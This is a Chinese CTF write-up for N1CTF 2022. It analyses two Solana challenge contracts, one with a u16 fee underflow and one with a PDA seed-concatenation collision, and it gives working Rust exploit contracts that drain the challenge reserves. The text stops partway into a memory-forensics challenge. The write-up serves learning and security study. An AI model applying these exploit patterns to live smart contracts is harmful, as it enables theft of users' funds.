跳转至

N1CTF 2022 Writeup

2683 个字 838 行代码 预计阅读时间 19 分钟

Abstract

这次主要做了下 blockchainmisc 有个内存取证差一点做出来,也在这里记一下

听说这次的 blockchain 会设单项奖,应该很有质量。没想到是没接触过的 solana 区块链,第一次玩,还挺有意思的,而且题给的做题框架也很全,还算很舒适

感觉 solana 还是有很多需要了解的基础知识还是很多的,有时间以后系统学习的时候再记录吧


Utility Payment Service

solana 的合约看起来很长很复杂,附件也是完整的 cargo 工作区,所以这里不全列出来了。

processor 部分
use borsh::{BorshDeserialize, BorshSerialize};

use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint::ProgramResult,
    msg,
    program::{invoke, invoke_signed},
    pubkey::Pubkey,
    system_instruction,
};

use crate::{Escrow, ServiceInstruction, ESCROW_ACCOUNT_SIZE};

pub fn process_instruction(
    program: &Pubkey,
    accounts: &[AccountInfo],
    mut data: &[u8],
) -> ProgramResult {
    match ServiceInstruction::deserialize(&mut data)? {
        ServiceInstruction::Init {} => init_escrow(program, accounts),
        ServiceInstruction::DepositEscrow { amount } => deposit_escrow(program, accounts, amount),
        ServiceInstruction::WithdrawEscrow {} => withdraw_escrow(program, accounts),
        ServiceInstruction::Pay { amount } => pay_utility_fees(program, accounts, amount),
    }
}

pub fn get_escrow(program: Pubkey, user: Pubkey) -> (Pubkey, u8) {
    Pubkey::find_program_address(&["ESCROW".as_bytes(), &user.to_bytes()], &program)
}

pub fn get_reserve(program: Pubkey) -> (Pubkey, u8) {
    Pubkey::find_program_address(&["RESERVE".as_bytes()], &program)
}


///
/// init escrow
///
fn init_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
    let account_iter = &mut accounts.iter();

    let user = next_account_info(account_iter)?;
    let _reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let sys_prog = next_account_info(account_iter)?;

    assert!(user.is_signer);
    assert!(escrow_account.data_is_empty());
    let (expected_escrow, escrow_bump) = get_escrow(*program, *user.key);

    invoke_signed(
    &system_instruction::create_account(
        &user.key,
        &expected_escrow,
        1,
        ESCROW_ACCOUNT_SIZE as u64,
        &program,
    ),
    &[user.clone(), escrow_account.clone(), sys_prog.clone()],
    &[&["ESCROW".as_bytes(), &user.key.to_bytes(), &[escrow_bump]]],
    )?;

    let escrow_data = Escrow {
        user: *user.key,
        amount: 0,
        bump: escrow_bump,
    };

    escrow_data.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]).unwrap();

    Ok(())
}

///
/// deposit escrow
///
fn deposit_escrow(
    program: &Pubkey,
    accounts: &[AccountInfo],
    deposit_amount: u16,
) -> ProgramResult {
    let account_iter = &mut accounts.iter();

    let user = next_account_info(account_iter)?;
    let reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let sys_prog = next_account_info(account_iter)?;

    assert!(user.is_signer);
    let (expected_reserve, _reserve_bump) = get_reserve(*program);
    assert_eq!(expected_reserve, *reserve.key);
    let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
    assert_eq!(expected_escrow, *escrow_account.key);

    invoke(
        &system_instruction::transfer(&user.key, &reserve.key, deposit_amount as u64),
        &[
            user.clone(),
            reserve.clone(),
            sys_prog.clone()
        ],
    )?;

    let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
    escrow_data.amount += deposit_amount;
    escrow_data
        .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

///
/// withdraw all balance in escrow
///
fn withdraw_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
    let account_iter = &mut accounts.iter();

    let user = next_account_info(account_iter)?;
    let reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let sys_prog = next_account_info(account_iter)?;

    assert!(user.is_signer);
    let (expected_reserve, reserve_bump) = get_reserve(*program);
    assert_eq!(expected_reserve, *reserve.key);
    let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
    assert_eq!(expected_escrow, *escrow_account.key);

    let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
    let balance = escrow_data.amount;
    invoke_signed(
        &system_instruction::transfer(&reserve.key, &user.key, balance as u64),
        &[user.clone(), reserve.clone(), sys_prog.clone()],
        &[&["RESERVE".as_bytes(), &[reserve_bump]]],
    )?;

    escrow_data.amount = 0;
    escrow_data
        .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

///
/// pay utility
///
fn pay_utility_fees(program: &Pubkey, accounts: &[AccountInfo], amount: u16) -> ProgramResult {
    let account_iter = &mut accounts.iter();

    let user = next_account_info(account_iter)?;
    let reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let _sys_prog = next_account_info(account_iter)?;

    assert!(user.is_signer);
    let (expected_reserve, _reserve_bump) = get_reserve(*program);
    assert_eq!(expected_reserve, *reserve.key);
    let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
    assert_eq!(expected_escrow, *escrow_account.key);

    let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;

    let base_fee = 15_u16;
    if escrow_data.amount >= 10 {
        if amount < base_fee {
            escrow_data.amount -= base_fee;
        } else {
            assert!(escrow_data.amount >= amount);
            escrow_data.amount -= amount;
        }
    } else {
        msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports.");
    }

    escrow_data
        .serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

可以看出主要有三个方法:

  • Init:初始化并签名 escrow
  • DepositEscrow:存入 deposit_amount 金额
    • 将钱转入 reserve account(只由 program seed 生成)
    • 将用户对应 escrow account(由 program user.key seed 合成生成)的 amount 增加 deposit_amout
  • WithdrawEscrow:将 escrow 记录的所有金额都转回给用户
    • reserve account 转出
  • Pay:支付,也就是减少用户 escrow amount。还是看代码更清晰:
    let base_fee = 15_u16;
    if escrow_data.amount >= 10 {
        if amount < base_fee {
            escrow_data.amount -= base_fee;
        } else {
            assert!(escrow_data.amount >= amount);
            escrow_data.amount -= amount;
        }
    } else {
        msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports.");
    }
    

这里存在一个较明显的隐患是 u16,也就是 16 位无符号整型。再回头看 lib.rs 中规定的 Escrow account 结构体:

#[repr(C)]
#[derive(BorshSerialize, BorshDeserialize)]
pub struct Escrow {
    pub user: Pubkey,
    pub amount: u16,
    pub bump: u8,
}
这里的 amount 也是 u16,存在整型溢出风险。

接着看 main.rs 中的题目部分:

题目交互部分
fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
    let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();

    // load programs
    let solve_pubkey = builder.input_program().unwrap();
    let program_pubkey = builder.chall_programs(&["./utility_payment.so"])[0];

    // make user
    let user = Keypair::new();

    writeln!(socket, "program pubkey: {}", program_pubkey)?;
    writeln!(socket, "solve pubkey: {}", solve_pubkey)?;
    writeln!(socket, "user pubkey: {}", user.pubkey())?;

    // println!("program: {}", program_pubkey);

    // add accounts and lamports
    let (reserve, _) = get_reserve(program_pubkey);
    // let (escrow, _) =  get_escrow(program_pubkey, user.pubkey());

    const TARGET_AMT: u64 = 60_000;
    const INIT_BAL: u64 = 50;
    const RESERVE_BAL: u64 = 1_000_000;

    builder
        .builder
        .add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL);
    builder
        .builder
        .add_account_with_lamports(reserve, system_program::ID, RESERVE_BAL);

    let mut challenge = builder.build();

    let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
    writeln!(socket, "user lamport before: {:?}", balance)?;

    // run solve
    challenge.input_instruction(solve_pubkey, &[&user]).unwrap();

    // check solve
    let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
    writeln!(socket, "user lamport after: {:?}", balance)?;

    if balance > TARGET_AMT {
        let flag = fs::read_to_string("flag.txt").unwrap();
        writeln!(
            socket,
            "Flag: {}",
            flag
        )?;
    }

    Ok(())
}

第一次接触 solana 题目,所以逐步解析一下:

  • 创建一个 builder 并获取用户合约以及题目合约(ChallengeBuilder 来自 sol-ctf-framework
    let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
    
    // load programs
    let solve_pubkey = builder.input_program().unwrap();
    let program_pubkey = builder.chall_programs(&["./utility_payment.so"])[0];
    
    • 这里需要了解的是一个 solana 合约在上链的时候需要编译成 BPF(Berkley Packer Filter)字节码,也就是一个 .so 文件
    • ChallengeBuilder::input_program 方法可以通过源码看出首先输入程序长度,然后读取 .so 的字节序列
  • 创建用户账户并输出一系列 pubkey
    let user = Keypair::new();
    
    writeln!(socket, "program pubkey: {}", program_pubkey)?;
    writeln!(socket, "solve pubkey: {}", solve_pubkey)?;
    writeln!(socket, "user pubkey: {}", user.pubkey())?;
    
  • 根据 program_pubkey 来找到 reserve 账户:
    let (reserve, _) = get_reserve(program_pubkey);
    
    • 其中 get_reserve 函数在 processor.rs 中定义:
      pub fn get_reserve(program: Pubkey) -> (Pubkey, u8) {
          Pubkey::find_program_address(&["RESERVE".as_bytes()], &program)
      }
      
    • 这里需要了解的一个是 solana 的账户分为一般账户和 PDA(Program Derived Address)
      • PDA 一般是由程序生成用来记录数据的
      • PDA 的计算是根据 seed program_id(也就是程序的 pubkey)做哈希来生成的
      • 但是 PDA 要保证不是可用的 Pubkey(这个还没理解,所以 hash 的时候要再加一个参数 bump:pda = hash(seed, bump, program_id)
      • 寻找一个 PDA 的时候会从 0 256 枚举 bump,第一个可以生成有效 PDA bump 称为 canonical bump,而且一般就使用这个 PDA
      • 所以根据相同 seed、相同 program_id 生成的 PDA 也是相同的。Pubkey::find_program_address 做的就是这个,它的第一个参数是 seed、第二个参数是 program_id
    • 所以 reserve 是一个由 RESERVE seed program_pubkey 生成的 PDA
  • account 增加初始 lamports(钱
    const TARGET_AMT: u64 = 60_000;
    const INIT_BAL: u64 = 50;
    const RESERVE_BAL: u64 = 1_000_000;
    
    builder
        .builder
        .add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL);
    builder
        .builder
        .add_account_with_lamports(reserve, system_program::ID, RESERVE_BAL);
    
    • user 50 lamports
    • reserve 1000000 lamports
  • 构建 challenge、输出 user 初始 lamports
    let mut challenge = builder.build();
    
    let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
    writeln!(socket, "user lamport before: {:?}", balance)?;
    
  • 接收指令,交给用户合约执行:
    challenge.input_instruction(solve_pubkey, &[&user]).unwrap();
    
    • 这里的 input_instruction 方法也是在 sol-ctf-framework 中定义的,输入方法较复杂,不过好在题目提供了一个 solve.py 用来交互输入指令
  • 检查目标,达到则下发 flag
    let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
    writeln!(socket, "user lamport after: {:?}", balance)?;
    
    if balance > TARGET_AMT {
        let flag = fs::read_to_string("flag.txt").unwrap();
        writeln!(
            socket,
            "Flag: {}",
            flag
        )?;
    }
    
    • 可见目标是使 user 拥有的 lamports 大于 60000 lamports

这样我们的攻击方式就很明显了:

  • 先调用题目合约的 Init 指令完成初始化(题目已经写好)
  • deposit 11 lamports,使用户对应的 escrow amount 记为 11
  • 然后 pay 11 lamports,这时不会收取 11 lamports 而是收取基础费用 15 lamportsescrow amount 11 减去 15 发生溢出,溢出到 65531,此时 withdraw 的话 reserve 1000000 足够支付,提出来后也可以达到题目 60000 的目标
  • 直接 withdraw 即可

所以只需要将这些步骤都照葫芦画瓢写在 processor.rs process_instruction 中即可:

exp 合约
pub fn process_instruction(
    _program: &Pubkey,
    accounts: &[AccountInfo],
    _data: &[u8],
) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let utility_program = next_account_info(account_iter)?;
    let user = next_account_info(account_iter)?;
    let reserve = next_account_info(account_iter)?;
    let escrow_account = next_account_info(account_iter)?;
    let sys_prog_account = next_account_info(account_iter)?;

    invoke(
        &Instruction {
            program_id: *utility_program.key,
            accounts: vec![
                AccountMeta::new(*user.key, true),
                AccountMeta::new(*reserve.key, false),
                AccountMeta::new(*escrow_account.key, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
            data: ServiceInstruction::Init { }
                .try_to_vec()
                .unwrap(),
        },
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;

    invoke(
        &deposit_escrow(
            *utility_program.key, 
            *user.key, 
            *reserve.key, 
            *escrow_account.key, 
            11,
        ),
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;

    invoke(
        &pay_utility_fees(
            *utility_program.key, 
            *user.key, 
            *reserve.key, 
            *escrow_account.key, 
            11,
        ),
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],        
    )?;

    invoke(
        &withdraw_escrow(
            *utility_program.key,
            *user.key,
            *reserve.key,
            *escrow_account.key,
        ),
        &[
            reserve.clone(),
            escrow_account.clone(),
            user.clone(),
            sys_prog_account.clone(),
        ],
    )?;

    Ok(())
}

之后利用 cargo build-bpf(需要先安装 solana)编译出 .so 文件,再交给 solve.py 脚本交题即可。

flag: n1ctf{cashback_……}


Simple Staking

同样也是 solana 合约,不过用了 anchor langhttps://www.anchor-lang.com/ ,有很多奇奇怪怪的写法,但看看文档还挺好懂的

还是详细解析一下:

题目合约

anchor lang 的语法看起来就是把处理函数封装在一个 mod 中然后用 #[program] 宏来处理。

这个 mod 中的每个函数都会被处理成一个指令,它们第一个参数都是一个 Context 泛型,其依赖的是针对每种指令的结构体 Accounts(即 Context,然后在函数内部可以利用 ctx.accounts.? 来获取对应结构体中的各个 account

结构体的定义会使用 #[derive(Accounts)] 宏来进行处理。其中成员也可以使用 #[account()] 宏进行限定,如果输入不满足限定则会报错,具体写法和意义可以看官方文档。

Initialize

  • 处理函数是空的,也就是说所有操作都在 Initialize 结构体中进行
    pub fn initialize(_ctx: Context<Initialize>) -> Result<()> {
        Ok(())
    }
    
  • Initialize 结构体字段:
    • catalog:
      #[account(
          init,
          seeds = [ b"CATALOG" ],
          bump,   
          payer = payer,
          space = Catalog::SIZE,
      )]
      pub catalog: Account<'info, Catalog>,
      
      • init 表示这个 account 需要初始化(而且不能重复进行)
      • seeds 表示用这个 seed 来找 PDA
      • bump 表示要记录下 canonical bump(可以通过 *ctx.bumps.get("catalog").unwrap() 来获取这个 bump
      • payer 表示创建账号要用的 payer
      • space 用来确定大小,由 Catalog 规定
      • 这个账户存的信息(data)是 Catalog 结构体的内容(序列化后)Catalog 定义:
        #[account]
        #[repr(C, align(8))]
        #[derive(Default)]
        pub struct Catalog {
            pub orgs: Vec<String>,
            pub ids: Vec<String>,
        }
        impl Catalog {
            pub const SIZE : usize = 8 
                + 4 + (4 + MAXIMUM_STRING_SIZE) * MAXIMUM_CATALOG_SIZE   // orgs: Vec<String>,
                + 4 + (4 + MAXIMUM_STRING_SIZE) * MAXIMUM_CATALOG_SIZE;  //  ids: Vec<String>,
        }
        
    • reserve:
      #[account(
          init,
          seeds = [ b"RESERVE" ],
          bump,
          payer = payer,
          token::mint = mint,
          token::authority = reserve
      )]
      pub reserve: Account<'info, TokenAccount>,
      
      • 与前面同理
      • 这是一个 TokenAccount,其定义在 spl_token 中,是一个类似 ERC20 的代币
    • 其它:
      pub mint: Account<'info, Mint>,
      
      #[account(mut)]
      pub payer: Signer<'info>,
      pub token_program: Program<'info, Token>,
      pub system_program: Program<'info, System>,
      pub rent: Sysvar<'info, Rent>,
      
      • mint Token 合约的 mint 账户,用来给 reserve 提供参数 token::mint
      • payer 也是为前面两个提供参数
      • token_program spl token ID
      • system_program 是题目合约的 ID
      • rent solana 系统的 rent ID(不用管这个)

Register

  • Register 结构体:
    • catalog:
      #[account(
          mut,
          seeds = [ b"CATALOG" ],
          bump
      )]
      pub catalog: Account<'info, Catalog>,
      
      • 根据这个 seed 来获取,同样记录 bump
    • employee_record:
      #[account(
          init,
          seeds = [user.key().as_ref()],
          bump,
          payer = user,
          space = EmployeeRecord::SIZE,
      )]
      pub employee_record: Account<'info, EmployeeRecord>,
      
      • 和前面 Initialize 的同理
      • 其中 EmployeeRecord 结构体:
        #[account]
        #[repr(C, align(8))]
        #[derive(Default)]
        pub struct EmployeeRecord {
            pub org: String,
            pub id: String,
            pub key: Pubkey,
        }
        impl EmployeeRecord {
            pub const SIZE : usize = 8 
                + 4 + MAXIMUM_STRING_SIZE   // orgs: String,
                + 4 + MAXIMUM_STRING_SIZE   //  ids: String,
                + 32;                       //  key: Pubkey
        }
        
    • 其它:
      #[account(mut)]
      pub user: Signer<'info>,
      pub system_program: Program<'info, System>,
      pub rent: Sysvar<'info, Rent>,
      
  • 处理函数:
    pub fn register(ctx: Context<Register>, org_name: String, employee_id: String) -> Result<()> {
        msg!("[CHALL] register: org {}, id {}", org_name, employee_id);
        require!(
            org_name.len() < MAXIMUM_STRING_SIZE,
            CoreError::StringTooLong
        );
    
        require!(
            employee_id.len() < MAXIMUM_STRING_SIZE,
            CoreError::StringTooLong
        );
    
        let catalog = &mut ctx.accounts.catalog;
        require!(
            ! ( catalog.orgs.contains(&org_name) && catalog.ids.contains(&employee_id) ),
            CoreError::DuplicatedEmployee
        );
        catalog.orgs.push(org_name.clone());
        catalog.ids.push(employee_id.clone());
    
        let employee_record = &mut ctx.accounts.employee_record;
        let employee_key = ctx.accounts.user.key();
        employee_record.org = org_name;
        employee_record.id  = employee_id;
        employee_record.key = employee_key;
    
        Ok(())
    }
    
    • 首先验证 org_name employee_id 的长度
    • 检查 (org_name, employee_id) 是否在 catalog 中存在,存在则报错
    • (org_name, employee_id) 添加到 catalog
    • 修改 employee_record

Deposit

  • Deposit 结构体
    • vault:
      #[account(
          init_if_needed,
          seeds = [org_name.as_bytes(), employee_id.as_bytes()],
          bump,
          space = Vault::SIZE,
          payer = user 
      )]
      pub vault: Account<'info, Vault>,
      
      • 通过 [org_name, employee_id] 这个 seed 获取 PDA
      • Vault 定义:
        #[account]
        #[repr(C, align(8))]
        #[derive(Default)]
        pub struct Vault {
            pub amount : u64,
        }
        impl Vault {
            pub const SIZE : usize = 8 // DISCRIMINATOR_SIZE
                + 8;                   // u64
        }
        
    • employee_record:
      #[account(
          seeds = [user.key().as_ref()],
          bump,
          constraint = employee_record.org == org_name,
          constraint = employee_record.id == employee_id,
          constraint = employee_record.key == user.key(),
      )]
      pub employee_record: Account<'info, EmployeeRecord>,
      
      • 这里有新出现的 constraint,传参时会检查其内容是否为 true,不是的话就报错然后 revert
    • 其它
      #[account(
          mut,
          seeds = [ b"RESERVE" ],
          bump,
          constraint = reserve.mint == mint.key(),
      )]
      pub reserve: Account<'info, TokenAccount>,
      
      #[account(
          mut,
          constraint = user_token_account.owner == user.key(),
          constraint = user_token_account.mint  == mint.key()
      )]
      pub user_token_account: Account<'info, TokenAccount>,
      
      pub mint: Account<'info, Mint>,
      
      #[account(mut)]
      pub user: Signer<'info>,
      pub token_program: Program<'info, Token>,
      pub system_program: Program<'info, System>,
      pub rent: Sysvar<'info, Rent>,
      
  • 处理函数:
    pub fn deposit(ctx: Context<Deposit>, org_name: String, employee_id: String, amount: u64) -> Result<()> {
        msg!("[CHALL] deposit");
        let vault = &mut ctx.accounts.vault;
        let employee_record = & ctx.accounts.employee_record;
        let user = & ctx.accounts.user;
    
        require!(
            user.key() == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id,
            CoreError::UnknownEmployee
        );
    
        let deposit_ctx = CpiContext::new(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.user_token_account.to_account_info(),
                to: ctx.accounts.reserve.to_account_info(),
                authority: ctx.accounts.user.to_account_info()
            }
        );
        token::transfer(deposit_ctx, amount)?;
    
        vault.amount += amount;
    
        Ok(())
    }
    
    • 先试一系列检查,检查输入是否合法
    • 然后调用 spl token transfer 指令来从 user_token_account amount token reserve
    • vault amount 增加 amount(这个 vault 是根据 seed [org_name, employee_id] 找到的 PDA

Withdraw

  • Withdraw 结构体
    • 其内容和 Deposit 几乎一致
    • 区别在于 Deposit user 在这里叫做 payer,不过用处应该没变
  • 处理函数:
    pub fn withdraw(ctx: Context<Withdraw>, org_name: String, employee_id: String, amount: u64) -> Result<()> {
        msg!("[CHALL] withdraw");
        let vault = &mut ctx.accounts.vault;
        let employee_record = & ctx.accounts.employee_record;
        let payer = ctx.accounts.payer.key();
    
        require!(
            payer == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id,
            CoreError::UnknownEmployee
        );
        require!(
            vault.amount >= amount,
            CoreError::InsufficientBalance
        );
    
        let reserve_bump = [*ctx.bumps.get("reserve").unwrap()];
        let signer_seeds = [
            b"RESERVE",
            reserve_bump.as_ref()
        ];
        let signer = &[&signer_seeds[..]];
    
        let withdraw_ctx = CpiContext::new_with_signer(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.reserve.to_account_info(),
                to: ctx.accounts.user_account.to_account_info(),
                authority: ctx.accounts.reserve.to_account_info()
            },
            signer
        );
        token::transfer(withdraw_ctx, amount)?;
    
        vault.amount -= amount;
    
        Ok(())
    }
    
    • 同样做了很多检查
    • 利用 spl token 合约从 reserve transfer amount token user_account
    • vault.amount 减少 amount

题目交互部分

题目交互代码
async fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
    let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();

    let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID));
    let solve_id = builder.input_program()?;

    let mut chall = builder.build().await;

    // -------------------------------------------------------------------------
    // [setup env] initialize
    // -------------------------------------------------------------------------
    let program_id = chall_id;

    let mint = chall.add_mint().await?;

    let payer_keypair = &chall.ctx.payer;
    let payer = payer_keypair.pubkey();

    let user_keypair = Keypair::new();
    let user = user_keypair.pubkey();
    chall
        .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))
        .await?;

    let catalog = Pubkey::find_program_address(&[b"CATALOG"], &program_id).0;
    let reserve = Pubkey::find_program_address(&[b"RESERVE"], &program_id).0;

    println!("\nAccounts created...\n");

    let ix = chall::instruction::Initialize {};
    let ix_accounts = chall::accounts::Initialize {
        catalog,
        reserve,
        mint,
        payer,
        token_program: spl_token::ID,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };

    chall
        .run_ix(Instruction::new_with_bytes(
            program_id,
            &ix.data(),
            ix_accounts.to_account_metas(None),
        ))
        .await?;

    // -------------------------------------------------------------------------
    // [setup env] register
    // -------------------------------------------------------------------------
    let org_name = String::from("product");
    let employee_id = String::from("employ_A");
    let ix = chall::instruction::Register {
        org_name: org_name.clone(),
        employee_id: employee_id.clone(),
    };
    let employee_record = Pubkey::find_program_address(&[payer.as_ref()], &program_id).0;
    let reg_accounts = chall::accounts::Register {
        catalog,
        employee_record,
        user: payer,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };
    chall
        .run_ix(Instruction::new_with_bytes(
            program_id,
            &ix.data(),
            reg_accounts.to_account_metas(None),
        ))
        .await?;

    // -------------------------------------------------------------------------
    // [setup env] deposits 1_000
    // -------------------------------------------------------------------------
    let payer_token_account = chall.add_token_account(&mint, &payer).await?;
    chall
        .mint_to(1_000_u64, &mint, &payer_token_account)
        .await?;

    let vault = Pubkey::find_program_address(
        &[org_name.clone().as_bytes(), employee_id.clone().as_bytes()],
        &program_id,
    )
    .0;
    let ix = chall::instruction::Deposit {
        org_name: org_name.clone(),
        employee_id: employee_id.clone(),
        amount: 500_u64,
    };
    let ix_accounts = chall::accounts::Deposit {
        vault,
        employee_record,
        reserve,
        user_token_account: payer_token_account,
        mint,
        user: payer,
        token_program: spl_token::ID,
        system_program: solana_program::system_program::ID,
        rent: solana_program::sysvar::rent::ID,
    };
    chall
        .run_ix(Instruction::new_with_bytes(
            program_id,
            &ix.data(),
            ix_accounts.to_account_metas(None),
        ))
        .await?;

    // TDOD: comment out
    let reserve_account = chall.read_token_account(reserve).await?;
    let reserve_balance = reserve_account.amount;
    println!(
        "\nvault = {}\nreserve balance = {}\n",
        vault, reserve_balance
    );
    // ----------------------------------------------------------------------------
    // [setup env] done
    // ----------------------------------------------------------------------------


    let init_amount = 100_u64;
    let user_record = Pubkey::find_program_address(&[user.as_ref()], &program_id).0;
    let user_token_account_pubkey = chall.add_token_account(&mint, &user).await?;
    chall
        .mint_to(init_amount, &mint, &user_token_account_pubkey)
        .await?;

    writeln!(socket, "user: {}", user)?;
    writeln!(socket, "user_record: {}", user_record)?;
    writeln!(socket, "catalog: {}", catalog)?;
    writeln!(socket, "mint: {}", mint)?;
    writeln!(socket, "user_token_account: {}", user_token_account_pubkey)?;
    writeln!(socket, "reserve: {}", reserve)?;

    let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32);
    let solve_ix = chall.read_instruction(solve_id)?;
    chall
        .run_ixs_full(
            &[bump_budget, solve_ix],
            &[&user_keypair],
            &user_keypair.pubkey(),
        )
        .await?;

    let user_token_account = chall.read_token_account(user_token_account_pubkey).await?;
    writeln!(
        socket,
        "player_account_amount: {:?}",
        user_token_account.amount
    )?;

    println!(
        "\nplayer_account_amount balance = {}\n",
        user_token_account.amount
    );

    if user_token_account.amount > init_amount {
        writeln!(socket, "congrats!")?;
        if let Ok(flag) = env::var("FLAG") {
            writeln!(socket, "flag: {:?}", flag)?;
        } else {
            writeln!(socket, "flag not found, please contact admin")?;
        }
    }

    Ok(())
}
  • 读取题目合约和用户输入合约
  • 增加 mint、payer、user 账户
    • 初始给 user 100_000_000_000 lamports
  • 获取属于题目合约的 catalog reserve PDA
  • 调用题目合约的 Initialize 指令
  • 调用 Registerorg_name employee_id ("product", "employ_A")
  • 创建 payer_token_account,初始给其 1000 token
  • 获取 seed ("product", "employ_A") PDA 作为 vault,调用 Depositamount 500 token
  • 创建 user_record user_token_account,向其中初始转 100 token
  • 输出一系列 pubkey
  • 读取指令,调用用户合约
  • 获取 user_token_account token 个数,如果多于 100 个则输出 flag

做法

这题的答题交互也给了,是 rust 代码,写好了直接改下 tcp 地址然后 cargo run 就可以打了。

主要的解法还是在 solve/programs/solve/src/lib.rs 中编写。

题给了一个初始化指令和其结构体的定义,在里面补充就可以。原有的是一个调用 Register 的代码,register ("product", "employ_B") 这个 record

找了很长时间没看出漏洞在哪。但 solana 的官方文档中关于 PDA seed 的描述里面有一个 warning

Warning: Because of the way the seeds are hashed there is a potential for program address collisions for the same program id. The seeds are hashed sequentially which means that seeds {"abcdef"}, {"abc", "def"}, and {"ab", "cd", "ef"} will all result in the same program address given the same program id. Since the chance of collision is local to a given program id, the developer of that program must take care to choose seeds that do not collide with each other. For seed schemes that are susceptible to this type of hash collision, a common remedy is to insert separators between seeds, e.g. transforming {"abc", "def"} into {"abc", "-", "def"}.

大体意思就是,如果 seed 有多个的话,计算的时候是直接拼接起来的,["abcdef"] ["abc", "def"]["ab", "cdef"] 算出来的 PDA 是一样的。

而题目中获取 vault 用的 seed [org_name, employee_id],这里就存在了拼接。既然我们不能使用同样的 (org_name, employee_id) 来注册、获取到其记录有 500 token vault,但我们可以用另一对 (org_name, employee_id) 来完成注册、并在 withdraw 获取 vault 的时候使其拼接起来和题目中的一样来获取到那个 500 token vault

所以我们注册一个 ("produc", "temploy_A") 然后直接 withdraw 就可以了:

exp 合约 initialize 指令
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {

    let o1 = String::from("produc");
    let e1 = String::from("temploy_A");

    let cpi_accounts = chall::cpi::accounts::Register {
        catalog: ctx.accounts.catalog.to_account_info(),
        employee_record: ctx.accounts.user_record.to_account_info(),
        user: ctx.accounts.user.to_account_info(),
        system_program: ctx.accounts.system_program.to_account_info(),
        rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
    chall::cpi::register(cpi_ctx, o1, e1)?;

    let o1 = String::from("produc");
    let e1 = String::from("temploy_A");

    let cpi_accounts = chall::cpi::accounts::Withdraw {
        vault: ctx.accounts.vault.to_account_info(),
        employee_record: ctx.accounts.user_record.to_account_info(),
        reserve: ctx.accounts.reserve.to_account_info(),
        user_account: ctx.accounts.user_token_account.to_account_info(),
        mint: ctx.accounts.mint.to_account_info(),
        payer: ctx.accounts.user.to_account_info(),
        token_program: ctx.accounts.token_program.to_account_info(),
        system_program: ctx.accounts.system_program.to_account_info(),
        rent: ctx.accounts.rent.to_account_info(),
    };
    let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
    chall::cpi::withdraw(cpi_ctx, o1, e1, 1)?;

    Ok(())
}

然后交互的 main.rs 中还有一处获取参数 vault 的地方也需要改一下:

let vault = Pubkey::find_program_address(
        &[b"produc", b"temploy_A"],
        &chall_id,
    ).0;

其它沿用给的交互就可以了。这样 main.rs 中输入指令,调用 exp 合约的 Initialize 指令,其中 withdraw 了,结束后检查 token amount 就会比原先更多了。

flag: n1ctf{I_sh0uld_h4ve_ch0s3n_4_b3tt3r_se3d_de5ign}


just find flag

一道 Windows 内存取证题,差了一步没做出来。结束后补完了。

内存取证直接上手先 strings 一把梭,发现了 flag.zip、flag.txt。是一个压缩包,直接从十六进制里把它完整内容扒出来,发现有密码,而且是真密码,六位数密码爆不出来。

继续 volatility 一把梭,imageinfo 出来是 Win7 系统,一些没用的指令输出就不在这里写了

在执行 consoles 指令的时候发现了:

**************************************************
ConsoleProcess: conhost.exe Pid: 2480
Console: 0xff656200 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
